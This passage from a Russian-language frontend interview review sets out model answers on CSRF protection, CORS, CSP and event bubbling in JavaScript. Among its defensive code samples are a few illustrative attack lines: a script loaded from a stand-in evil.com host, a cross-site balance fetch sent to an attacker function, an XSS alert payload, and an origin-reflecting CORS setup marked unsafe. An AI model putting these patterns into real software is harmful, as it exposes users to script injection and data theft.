function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}

app.use((req, res, next) => {
if (req.session && !req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
res.locals.csrfToken = req.session.csrfToken;
next();
});

Использование в формах:

<form action="/transfer" method="POST">
<!-- Скрытое поле с CSRF-токеном -->
<input type="hidden" name="_csrf" value="<%= csrfToken %>" />

<input type="text" name="recipient" placeholder="Получатель" />
<input type="number" name="amount" placeholder="Сумма" />
<button type="submit">Перевести</button>
</form>

Отправка через AJAX:

// Получение токена из мета-тега или куки
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
'X-Requested-With': 'XMLHttpRequest'
},
body: JSON.stringify({
recipient: 'user123',
amount: 100
})
});

Валидация на сервере:

function validateCSRF(req, res, next) {
const token = req.headers['x-csrf-token'] ||
req.body._csrf ||
req.query._csrf;

if (!token || token !== req.session.csrfToken) {
return res.status(403).json({
error: 'CSRF token validation failed'
});
}
next();
}

// Применение middleware
app.post('/api/transfer', validateCSRF, transferHandler);

Double Submit Cookie Pattern:

Принцип работы:

// Сервер устанавливает куку с токеном
app.use((req, res, next) => {
if (!req.cookies.csrf_token) {
const token = generateCSRFToken();
res.cookie('csrf_token', token, {
httpOnly: false, // Доступна для JavaScript
secure: true,
sameSite: 'strict'
});
}
next();
});

Отправка с клиента:

// Чтение токена из куки
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}

const csrfToken = getCookie('csrf_token');

fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify(data)
});

Валидация на сервере:

function validateDoubleSubmit(req, res, next) {
const cookieToken = req.cookies.csrf_token;
const headerToken = req.headers['x-csrf-token'];

if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
next();
}

4. SameSite Cookie Attribute

Strict (строгий режим):

// Куки НЕ отправляются при кросс-доменных запросах
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

Lax (мягкий режим):

// Куки отправляются только при навигации верхнего уровня (ссылки)
Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly

None (отключение защиты):

// Куки всегда отправляются (требует Secure)
Set-Cookie: session=abc123; SameSite=None; Secure

5. Custom Request Headers

Принцип:

  • Кросс-доменные запросы с кастомными заголовками требуют preflight
  • Формы не могут устанавливать произвольные заголовки

Реализация:

fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
},
body: JSON.stringify(data)
});

Проверка на сервере:

function checkCustomHeader(req, res, next) {
if (req.headers['x-requested-with'] !== 'XMLHttpRequest') {
return res.status(403).json({ error: 'Invalid request origin' });
}
next();
}

6. Origin и Referer Validation

Проверка источника запроса:

function validateOrigin(req, res, next) {
const origin = req.headers['origin'] || req.headers['referer'];
const allowedOrigins = ['https://mysite.com', 'https://www.mysite.com'];

if (!origin) {
return res.status(403).json({ error: 'Origin header missing' });
}

const requestOrigin = new URL(origin).origin;
if (!allowedOrigins.includes(requestOrigin)) {
return res.status(403).json({ error: 'Invalid origin' });
}

next();
}

7. Комплексная защита

Express.js middleware для полной защиты:

const csrfProtection = {
// Генерация токена
generateToken: (req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
res.cookie('XSRF-TOKEN', req.session.csrfToken, {
httpOnly: false,
secure: true,
sameSite: 'strict'
});
next();
},

// Валидация токена
validateToken: (req, res, next) => {
const token = req.headers['x-csrf-token'] ||
req.headers['x-xsrf-token'] ||
req.body._csrf;

if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}

if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}

next();
},

// Проверка Origin
validateOrigin: (req, res, next) => {
const origin = req.headers['origin'];
const trustedOrigins = ['https://mysite.com'];

if (origin && !trustedOrigins.includes(origin)) {
return res.status(403).json({ error: 'Invalid origin' });
}

next();
}
};

// Применение
app.use(csrfProtection.generateToken);
app.use(csrfProtection.validateOrigin);
app.use(csrfProtection.validateToken);

8. Сравнение методов защиты

МетодНадёжностьСложностьСовместимостьРекомендация
CSRF-токеныВысокаяСредняяОтличнаяОсновной метод
SameSite cookiesСредняяНизкаяХорошаяДополнительный
Custom headersСредняяНизкаяХорошаяДля AJAX
Origin validationСредняяНизкаяХорошаяДополнительный

Вывод: CSRF остаётся серьёзной угрозой для веб-приложений. Наиболее надёжной защитой является комбинация CSRF-токенов с SameSite cookies и валидацией Origin. CORS не является защитой от CSRF, так как он контролирует только чтение ответов, а не отправку запросов.

Вопрос 7. Как работает CORS (Cross-Origin Resource Sharing) и на основе чего браузер блокирует запросы?

Таймкод: 00:23:04

Ответ собеседника: Неполный. CORS — механизм браузера, блокирующий запросы на другой Origin. Origin включает протокол, домен и порт — при изменении любого из этих компонентов запрос блокируется. Кандидат не был уверен насчёт порта, но в итоге согласился, что другой порт тоже блокируется. Не упомянул, что настройка CORS осуществляется через заголовки сервера (Access-Control-Allow-Origin), а не через мета-теги в браузере.

Правильный ответ:

1. Что такое Origin

Определение Origin: Origin — это комбинация трёх компонентов: протокол + домен + порт

Примеры разных Origin:

https://example.com:443/page1 и https://example.com:443/page2 — ОДИНАКОВЫЕ
https://example.com и http://example.com — РАЗНЫЕ (разный протокол)
https://example.com и https://www.example.com — РАЗНЫЕ (разный домен)
https://example.com и https://example.com:8080 — РАЗНЫЕ (разный порт)

Особые случаи:

// Для файлов Origin будет "null"
file:///C:/Users/user/page.html → Origin: null

// Для data: URL также "null"
data:text/html,<h1>Hello</h1>Origin: null

2. Same-Origin Policy (SOP)

Принцип работы: Браузер по умолчанию блокирует чтение ответов с другого Origin, но не блокирует отправку запросов.

Что блокируется:

// ❌ Блокируется: чтение ответа с другого Origin
fetch('https://api.other-site.com/data')
.then(response => response.json()) // Браузер не даст прочитать ответ
.then(data => console.log(data));

// ❌ Блокируется: доступ к iframe другого Origin
const iframe = document.getElementById('cross-origin-frame');
const content = iframe.contentDocument; // SecurityError

// ❌ Блокируется: чтение canvas с другим Origin
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
const img = new Image();
img.src = 'https://other-site.com/image.jpg';
ctx.drawImage(img, 0, 0);
ctx.toDataURL(); // SecurityError - tainted canvas

Что НЕ блокируется:

// ✅ Разрешено: отправка запроса (ответ заблокирован)
fetch('https://api.other-site.com/data'); // Запрос отправится

// ✅ Разрешено: загрузка скриптов
<script src="https://cdn.example.com/library.js"></script>

// ✅ Разрешено: загрузка изображений
<img src="https://other-site.com/image.jpg" />

// ✅ Разрешено: отправка форм
<form action="https://other-site.com/submit" method="POST">

3. Механизм CORS

Простые запросы (Simple Requests):

Условия для простого запроса:

  • Метод: GET, POST, HEAD
  • Заголовки только: Accept, Accept-Language, Content-Language, Content-Type
  • Content-Type только: application/x-www-form-urlencoded, multipart/form-data, text/plain

Пример простого запроса:

// Этот запрос отправится без preflight
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'name=John&age=30'
})
.then(response => {
// Браузер проверит заголовок Access-Control-Allow-Origin
if (response.ok) {
return response.json(); // Только если Origin разрешён
}
});

Preflight запросы (Non-simple Requests):

Когда отправляется preflight:

  • Методы: PUT, DELETE, PATCH
  • Кастомные заголовки: Authorization, X-Custom-Header
  • Content-Type: application/json, application/xml

Процесс preflight:

Клиент Сервер
| |
|--- OPTIONS /resource ------------------>|
| Origin: https://mysite.com |
| Access-Control-Request-Method: PUT |
| Access-Control-Request-Headers: auth |
| |
|<-- 200 OK ------------------------------|
| Access-Control-Allow-Origin: * |
| Access-Control-Allow-Methods: PUT |
| Access-Control-Allow-Headers: auth |
| Access-Control-Max-Age: 86400 |
| |
|--- PUT /resource ----------------------->|
| Origin: https://mysite.com |
| Authorization: Bearer token123 |
| |
|<-- 200 OK ------------------------------|
| Access-Control-Allow-Origin: * |

Пример с preflight:

// Этот запрос вызовет preflight
fetch('https://api.example.com/data', {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token123',
'X-Custom-Header': 'value'
},
body: JSON.stringify({ name: 'John' })
});

4. CORS заголовки сервера

Основные заголовки:

Access-Control-Allow-Origin:

// Разрешить конкретный Origin
res.setHeader('Access-Control-Allow-Origin', 'https://mysite.com');

// Разрешить все Origin (небезопасно для авторизованных запросов)
res.setHeader('Access-Control-Allow-Origin', '*');

// Динамическая проверка Origin
const allowedOrigins = ['https://mysite.com', 'https://app.mysite.com'];
const origin = req.headers.origin;

if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}

Access-Control-Allow-Methods:

res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');

Access-Control-Allow-Headers:

res.setHeader('Access-Control-Allow-Headers',
'Content-Type, Authorization, X-Requested-With, X-CSRF-Token');

Access-Control-Allow-Credentials:

// Разрешить отправку кук и HTTP-аутентификации
res.setHeader('Access-Control-Allow-Credentials', 'true');

// Важно: при credentials: true нельзя использовать *
// Нужно указать конкретный Origin
res.setHeader('Access-Control-Allow-Origin', 'https://mysite.com');

Access-Control-Max-Age:

// Кешировать preflight ответ на 24 часа
res.setHeader('Access-Control-Max-Age', '86400');

Access-Control-Expose-Headers:

// Разрешить клиенту читать кастомные заголовки
res.setHeader('Access-Control-Expose-Headers', 'X-Total-Count, X-Page-Count');

5. Настройка CORS на сервере

Express.js с middleware:

const express = require('express');
const app = express();

// Ручная настройка CORS
app.use((req, res, next) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://mysite.com', 'https://app.mysite.com'];

if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}

res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.setHeader('Access-Control-Allow-Headers',
'Content-Type, Authorization, X-Requested-With');
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Max-Age', '86400');

// Обработка preflight
if (req.method === 'OPTIONS') {
return res.status(204).end();
}

next();
});

Использование библиотеки cors:

const cors = require('cors');

// Простая настройка
app.use(cors());

// Расширенная настройка
app.use(cors({
origin: ['https://mysite.com', 'https://app.mysite.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400,
exposedHeaders: ['X-Total-Count']
}));

// Динамическая настройка
app.use(cors({
origin: function(origin, callback) {
// Разрешить запросы без Origin (мобильные приложения, curl)
if (!origin) return callback(null, true);

const allowedOrigins = ['https://mysite.com', 'https://app.mysite.com'];
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));

Nginx конфигурация:

server {
listen 80;
server_name api.example.com;

location / {
# Разрешить CORS
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' 'https://mysite.com';
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Max-Age' 86400;
return 204;
}

add_header 'Access-Control-Allow-Origin' 'https://mysite.com' always;
add_header 'Access-Control-Allow-Credentials' 'true' always;

proxy_pass http://backend;
}
}

6. Работа с credentials

На клиенте:

// Включить отправку кук
fetch('https://api.example.com/data', {
method: 'GET',
credentials: 'include' // Отправлять куки
})
.then(response => response.json());

// Для XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/data');
xhr.withCredentials = true;
xhr.send();

На сервере:

// Обязательно указать конкретный Origin, не *
res.setHeader('Access-Control-Allow-Origin', 'https://mysite.com');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// Установить куки с правильными атрибутами
res.cookie('session', 'abc123', {
httpOnly: true,
secure: true,
sameSite: 'none', // Требуется для кросс-доменных кук
domain: '.example.com'
});

7. Отладка CORS проблем

Типичные ошибки:

Access to fetch at 'https://api.example.com/data' from origin
'https://mysite.com' has been blocked by CORS policy:
No 'Access-Control-Allow-Origin' header is present on the requested resource.

Инструменты отладки:

// Проверка CORS в консоли разработчика
fetch('https://api.example.com/data', {
method: 'GET',
mode: 'cors' // Явно указать режим CORS
})
.then(response => console.log('Success:', response))
.catch(error => console.error('CORS Error:', error));

// Проверка prefetch запросов
fetch('https://api.example.com/data', {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token'
},
body: JSON.stringify({ data: 'test' })
});

CORS прокси для разработки:

// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, '')
}
}
}
}

8. Безопасность CORS

Опасные конфигурации:

// ❌ НЕБЕЗОПАСНО: разрешить все Origin с credentials
app.use(cors({
origin: '*',
credentials: true // Это не будет работать, но попытка опасна
}));

// ❌ НЕБЕЗОПАСНО: отражение Origin без проверки
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});

Рекомендуемые практики:

// ✅ БЕЗОПАСНО: белый список Origin
const whitelist = ['https://mysite.com', 'https://app.mysite.com'];

app.use(cors({
origin: function(origin, callback) {
if (!origin || whitelist.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));

Вывод: CORS — это механизм безопасности браузера, который контролирует доступ к ресурсам с другого Origin. Блокировка происходит на основе сравнения Origin (протокол + домен + порт), и настраивается через HTTP-заголовки сервера, а не клиента. Правильная настройка CORS критически важна для безопасности веб-приложений.

Вопрос 8. Как работает CORS (Cross-Origin Resource Sharing) и чем он отличается от CSP (Content Security Policy)?

Таймкод: 00:25:01

Ответ собеседника: Неполный. Кандидат перепутал CORS с CSP, предположив, что CORS настраивается через мета-теги на странице. На самом деле CORS настраивается через заголовки сервера (Access-Control-Allow-Origin), а CSP — через заголовки или мета-теги и ограничивает доступ к контенту. CORS управляет кросс-доменными запросами, а CSP ограничивает выполнение скриптов и загрузку ресурсов.

Правильный ответ:

1. Фундаментальные различия

CORS (Cross-Origin Resource Sharing):

  • Управляет сетевыми запросами между разными Origin
  • Настраивается ТОЛЬКО сервером через HTTP-заголовки
  • Защищает от несанкционированного чтения данных с других доменов
  • Работает на уровне HTTP-запросов/ответов

CSP (Content Security Policy):

  • Управляет загрузкой и выполнением контента на странице
  • Настраивается сервером ИЛИ клиентом (meta-тег)
  • Защищает от XSS, инъекций и загрузки вредоносных ресурсов
  • Работает на уровне рендеринга страницы

2. Как работает CORS

Механизм работы:

Клиент (https://mysite.com) Сервер (https://api.example.com)
| |
|--- GET /data ----------------------->|
| Origin: https://mysite.com |
| |
|<-- 200 OK ---------------------------|
| Access-Control-Allow-Origin: |
| https://mysite.com |
| |
| Браузер проверяет: |
| - Есть ли заголовок ACAO? |
| - Совпадает ли Origin? |
| - Разрешён ли метод/заголовки? |
| |
| Если всё OK → отдать данные клиенту |
| Если нет → заблокировать ответ |

Настройка CORS (только сервер):

// Express.js
app.use((req, res, next) => {
const allowedOrigins = ['https://mysite.com', 'https://app.mysite.com'];
const origin = req.headers.origin;

if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}

res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Max-Age', '86400');

if (req.method === 'OPTIONS') {
return res.status(204).end();
}

next();
});

Важно: CORS НЕЛЬЗЯ настроить через meta-тег:

<!-- ❌ Это НЕ РАБОТАЕТ для CORS -->
<meta http-equiv="Access-Control-Allow-Origin" content="*">

<!-- ✅ CSP можно настроить через meta-тег -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">

3. Как работает CSP

Механизм работы:

Сервер/HTML Браузер
| |
|--- CSP заголовок --------->|
| default-src 'self' |
| script-src 'self' |
| |
| Браузер анализирует: |
| - Откуда можно загружать? |
| - Какие скрипты выполнять?|
| - Какие стили применять? |
| |
| Блокирует нарушения: |
| - Inline скрипты |
| - Внешние ресурсы |
| - eval() функции |

Настройка CSP через HTTP-заголовок:

// Express.js
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"script-src 'self' 'nonce-random123' https://cdn.example.com",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.googleapis.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'"
].join('; '));
next();
});

Настройка CSP через meta-тег:

<!DOCTYPE html>
<html>
<head>
<!-- CSP через meta-тег -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">
</head>
<body>
<!-- Этот скрипт будет заблокирован -->
<script>
alert('Blocked by CSP');
</script>

<!-- Этот скрипт будет выполнен с nonce -->
<script nonce="abc123">
console.log('Allowed by CSP');
</script>
</body>
</html>

4. Детальное сравнение

АспектCORSCSP
ЦельКонтроль кросс-доменных запросовЗащита от инъекций и XSS
УровеньHTTP-загрузкиРендеринг страницы
НастройкаТолько серверСервер или клиент
ЗаголовкиAccess-Control-*Content-Security-Policy
Meta-тег❌ Не поддерживается✅ Поддерживается
БлокируетЧтение ответовВыполнение скриптов, загрузку ресурсов
Защита отКража данных через AJAXXSS, clickjacking, инъекции

5. Практические примеры различий

CORS сценарий:

// Сайт https://mysite.com пытается получить данные с https://api.other.com

// Без CORS на сервере:
fetch('https://api.other.com/data')
.then(response => response.json()) // ❌ Заблокировано браузером
.then(data => console.log(data));

// С CORS на сервере:
// Сервер api.other.com отвечает с заголовком:
// Access-Control-Allow-Origin: https://mysite.com
fetch('https://api.other.com/data')
.then(response => response.json()) // ✅ Разрешено
.then(data => console.log(data));

CSP сценарий:

<!-- Страница с CSP заголовком -->
<!-- Content-Security-Policy: script-src 'self' -->

<!-- ❌ Заблокировано CSP: inline скрипт -->
<script>
alert('XSS attempt');
</script>

<!-- ❌ Заблокировано CSP: внешний скрипт с неразрешённого домена -->
<script src="https://evil.com/malware.js"></script>

<!-- ✅ Разрешено CSP: скрипт с того же домена -->
<script src="/js/app.js"></script>

<!-- ✅ Разрешено CSP: с nonce -->
<script nonce="random123">
console.log('Legitimate script');
</script>

6. Совместное использование

Типичная конфигурация безопасности:

// Express.js с обеими политиками
app.use((req, res, next) => {
// CORS: контроль кросс-доменных запросов
const allowedOrigins = ['https://mysite.com'];
const origin = req.headers.origin;

if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}

res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

// CSP: защита от инъекций
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"script-src 'self' 'nonce-" + generateNonce() + "'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'"
].join('; '));

next();
});

7. Сценарии атак и защита

CORS защищает от:

// Атака: кража данных через кросс-доменный запрос
// Сайт evil.com пытается прочитать данные с bank.com

// Без CORS:
fetch('https://bank.com/api/balance')
.then(response => response.json()) // ❌ Заблокировано
.then(data => sendToAttacker(data));

// CORS на bank.com не разрешает evil.com
// Браузер заблокирует чтение ответа

CSP защищает от:

<!-- Атака: XSS инъекция -->
<!-- Пользователь вводит: <script>alert('XSS')</script> -->

<!-- Без CSP: -->
<div>Пользователь: <script>alert('XSS')</script></div>
<!-- ❌ Скрипт выполнится -->

<!-- С CSP: script-src 'self' -->
<div>Пользователь: &lt;script&gt;alert('XSS')&lt;/script&gt;</div>
<!-- ✅ Скрипт заблокирован, текст отображается как есть -->

8. Отладка и мониторинг

CORS отладка:

// Проверка CORS заголовков
fetch('https://api.example.com/data', {
method: 'GET',
mode: 'cors'
})
.then(response => {
console.log('CORS headers:', {
'access-control-allow-origin': response.headers.get('access-control-allow-origin'),
'access-control-allow-methods': response.headers.get('access-control-allow-methods'),
'access-control-allow-credentials': response.headers.get('access-control-allow-credentials')
});
return response.json();
})
.catch(error => console.error('CORS Error:', error));

CSP мониторинг:

// Настройка отчётов о нарушениях CSP
res.setHeader('Content-Security-Policy',
"default-src 'self'; report-uri /csp-violation-report");

// Обработка отчётов
app.post('/csp-violation-report', (req, res) => {
const violation = req.body['csp-report'];
console.error('CSP Violation:', {
documentURI: violation['document-uri'],
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number'],
columnNumber: violation['column-number']
});
res.status(204).send();
});

9. Распространённые ошибки

CORS ошибки:

// ❌ Ошибка: попытка настроить CORS на клиенте
fetch('https://api.example.com/data', {
headers: {
'Access-Control-Allow-Origin': '*' // Это не работает!
}
});

// ✅ Правильно: настройка на сервере
// Сервер должен отправить заголовок в ответе

CSP ошибки:

<!-- ❌ Ошибка: слишком разрешительная политика -->
<meta http-equiv="Content-Security-Policy"
content="default-src * 'unsafe-inline' 'unsafe-eval'">

<!-- ✅ Правильно: строгая политика -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-abc123'">

Вывод: CORS и CSP — это взаимодополняющие механизмы безопасности. CORS контролирует сетевое взаимодействие между доменами и настраивается только сервером, тогда как CSP защищает от инъекций и контролирует выполнение контента, настраиваясь как сервером, так и клиентом. Правильная конфигурация обоих механизмов обеспечивает многоуровневую защиту веб-приложений.

Вопрос 9. Задача: есть два вложенных квадрата (красный внутри синий), на синем висит обработчик клика. Как сделать так, чтобы клик по красному квадрату не вызывал обработчик на синем?

Таймкод: 00:27:55

Ответ собеседника: Правильный. Сначала попробовал event.preventDefault(), но это не подходит, так как preventDefault предотвращает дефолтное поведение, а не всплытие. Затем использовал event.stopPropagation() — это рабочий вариант, но имеет недостаток: полностью останавливает всплытие, что может сломать другие обработчики выше по дереву. Также предложил альтернативный вариант: в обработчике клика на синем квадрате проверять event.target и сравнивать с референсом на красный элемент (или использовать event.target.closest()), чтобы игнорировать клики, пришедшие от красного квадрата, не останавливая всплытие полностью.

Правильный ответ:

1. Понимание проблемы

Структура HTML:

<div id="blue" style="width: 200px; height: 200px; background: blue;">
<div id="red" style="width: 100px; height: 100px; background: red;"></div>
</div>

Проблема всплытия (Event Bubbling):

// Клик по красному квадру всплывает до синего
document.getElementById('blue').addEventListener('click', function(event) {
console.log('Обработчик синего квадрата');
// event.target — красный квадрат (источник клика)
// event.currentTarget — синий квадрат (текущий обработчик)
});

2. Метод 1: event.stopPropagation()

Реализация:

document.getElementById('red').addEventListener('click', function(event) {
event.stopPropagation(); // Останавливаем всплытие
console.log('Клик по красному, всплытие остановлено');
});

document.getElementById('blue').addEventListener('click', function(event) {
console.log('Этот обработчик НЕ вызовется при клике по красному');
});

Преимущества:

  • Простота реализации
  • Полностью предотвращает всплытие

Недостатки:

  • Ломает все обработчики выше по DOM-дереву
  • Может нарушить работу сторонних библиотек
  • Усложняет отладку

Пример проблемы:

// Другие обработчики на document не сработают
document.addEventListener('click', function(event) {
console.log('Этот обработчик не получит событие от красного квадрата');
});

// Аналитика может не сработать
document.addEventListener('click', function(event) {
analytics.track('click', { target: event.target });
});

3. Метод 2: Проверка event.target

Реализация:

document.getElementById('blue').addEventListener('click', function(event) {
// Проверяем, был ли клик по красному квадрату
if (event.target === document.getElementById('red')) {
return; // Игнорируем клик
}

console.log('Обработчик синего квадрата для кликов по синему');
});

С использованием closest():

document.getElementById('blue').addEventListener('click', function(event) {
// Проверяем, является ли цель клика красным квадратом или его потомком
if (event.target.closest('#red')) {
return; // Игнорируем клик
}

console.log('Обработчик синего квадрата');
});

Преимущества:

  • Не нарушает механизм всплытия
  • Другие обработчики продолжают работать
  • Более гибкий контроль

Недостатки:

  • Требует дополнительной логики в обработчике
  • Нужно знать структуру DOM

4. Метод 3: CSS pointer-events

Реализация:

#red {
pointer-events: none; /* Красный квадрат не генерирует события мыши */
}

С частичным отключением:

#red {
pointer-events: none;
}

#red .interactive {
pointer-events: auto; /* Включаем обратно для интерактивных элементов */
}

Преимущества:

  • Простота реализации
  • Не требует JavaScript
  • Хорошая производительность

Недостатки:

  • Полностью отключает все события мыши для элемента
  • Нельзя выборочно отключить только определённые обработчики
  • Может нарушить доступность (accessibility)

5. Метод 4: Event.composedPath()

Реализация:

document.getElementById('blue').addEventListener('click', function(event) {
const path = event.composedPath();
const redElement = document.getElementById('red');

// Проверяем, есть ли красный квадрат в пути события
if (path.includes(redElement)) {
return; // Игнорируем клик
}

console.log('Обработчик синего квадрата');
});

Преимущества:

  • Работает с Shadow DOM
  • Полный контроль над путём события

Недостатки:

  • Сложнее в реализации
  • Не поддерживается в старых браузерах

6. Метод 5: Делегирование событий с фильтрацией

Реализация:

document.getElementById('blue').addEventListener('click', function(event) {
// Проверяем, что клик был именно по синему квадрату
if (event.target === event.currentTarget) {
console.log('Клик только по синему квадрату');
}
});

// Или с более сложной логикой
document.getElementById('blue').addEventListener('click', function(event) {
const isRedClicked = event.target.closest('#red');
const isBlueClicked = event.target === this;

if (isRedClicked && !isBlueClicked) {
return; // Игнорируем клики по красному
}

console.log('Обработка клика');
});

7. Метод 6: Использование data-атрибутов

HTML:

<div id="blue" data-clickable="true">
<div id="red" data-clickable="false"></div>
</div>

JavaScript:

document.getElementById('blue').addEventListener('click', function(event) {
const clickable = event.target.closest('[data-clickable="true"]');

if (!clickable) {
return; // Игнорируем клики по некликабельным элементам
}

console.log('Обработка клика по кликабельному элементу');
});

8. Сравнение методов

МетодСложностьВсплытиеГибкостьПроизводительностьРекомендация
stopPropagation()НизкаяЛомаетНизкаяВысокаяОсторожно
Проверка targetСредняяСохраняетВысокаяВысокая✅ Рекомендуется
pointer-eventsНизкаяСохраняетНизкаяВысокаяДля простых случаев
composedPath()ВысокаяСохраняетВысокаяСредняяДля Shadow DOM
ДелегированиеСредняяСохраняетВысокаяВысокая✅ Рекомендуется

9. Практические примеры

Пример с аналитикой:

// Аналитика должна работать для всех кликов
document.addEventListener('click', function(event) {
analytics.track('click', {
target: event.target.id,
timestamp: Date.now()
});
});

// Обработчик синего квадрата с фильтрацией
document.getElementById('blue').addEventListener('click', function(event) {
if (event.target.closest('#red')) {
return; // Не блокируем всплытие для аналитики
}

handleBlueClick();
});

Пример с несколькими вложенными элементами:

document.getElementById('blue').addEventListener('click', function(event) {
const ignoreList = ['red', 'green', 'yellow'];
const shouldIgnore = ignoreList.some(id =>
event.target.closest(`#${id}`)
);

if (shouldIgnore) {
return;
}

console.log('Обработка клика по синему квадрату');
});

10. Рекомендации по выбору метода

Используйте stopPropagation() когда:

  • Вы полностью контролируете DOM-дерево
  • Нет других обработчиков, которые должны получить событие
  • Это изолированный компонент

Используйте проверку target когда:

  • Нужно сохранить всплытие для других обработчиков
  • Есть аналитика или мониторинг
  • Работаете со сложной структурой DOM

Используйте pointer-events когда:

  • Элемент не должен быть интерактивным
  • Нужно простое решение без JavaScript
  • Производительность критична

Вывод: Наиболее гибким и безопасным подходом является проверка event.target или использование closest() в обработчике синего квадрата. Это позволяет игнорировать нежелательные клики, не нарушая механизм всплытия и не ломая другие обработчики событий.

Вопрос 10. Можно ли отловить событие на этапе спуска (захвата) в DOM-дереве до того, как оно всплывет?

Таймкод: 00:41:35

Ответ собеседника: Правильный. Кандидат предположил, что это возможно через addEventListener с третьим аргументом capture: true. Также упомянул, что в React для этого есть специальные обработчики с суффиксом Capture (например, onClickCapture), которые ловят события на фазе захвата.

Правильный ответ:

1. Три фазы распространения событий

Полный цикл события:

1. Фаза захвата (Capturing Phase): window → document → ... → target
2. Фаза цели (Target Phase): target element
3. Фаза всплытия (Bubbling Phase): target → ... → document → window

┌─────────────────────────────────────────────────────────────┐
│ window │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ document │ │
│ │ ┌─────────────────────────────────────────────────┐ │ │
│ │ │ html │ │ │
│ │ │ ┌───────────────────────────────────────────┐ │ │ │
│ │ │ │ body │ │ │ │
│ │ │ │ ┌─────────────────────────────────────┐ │ │ │ │
│ │ │ │ │ #grandparent │ │ │ │ │
│ │ │ │ │ ┌───────────────────────────────┐ │ │ │ │ │
│ │ │ │ │ │ #parent │ │ │ │ │ │
│ │ │ │ │ │ ┌─────────────────────────┐ │ │ │ │ │ │
│ │ │ │ │ │ │ #child (TARGET) │ │ │ │ │ │ │
│ │ │ │ │ │ └─────────────────────────┘ │ │ │ │ │ │
│ │ │ │ │ └───────────────────────────────┘ │ │ │ │ │
│ │ │ │ └─────────────────────────────────────┘ │ │ │ │
│ │ │ └───────────────────────────────────────────┘ │ │ │
│ │ └─────────────────────────────────────────────────┘ │ │
│ └───────────────────────────────────────────────────────┘ └

Стрелки вниз (↓) = Фаза захвата (capture)
Стрелки вверх (↑) = Фаза всплытия (bubble)

2. Использование фазы захвата

Синтаксис addEventListener:

// Третий параметр: useCapture
element.addEventListener(event, handler, useCapture);

// useCapture = false (по умолчанию) - обработка на фазе всплытия
element.addEventListener('click', handler, false);

// useCapture = true - обработка на фазе захвата
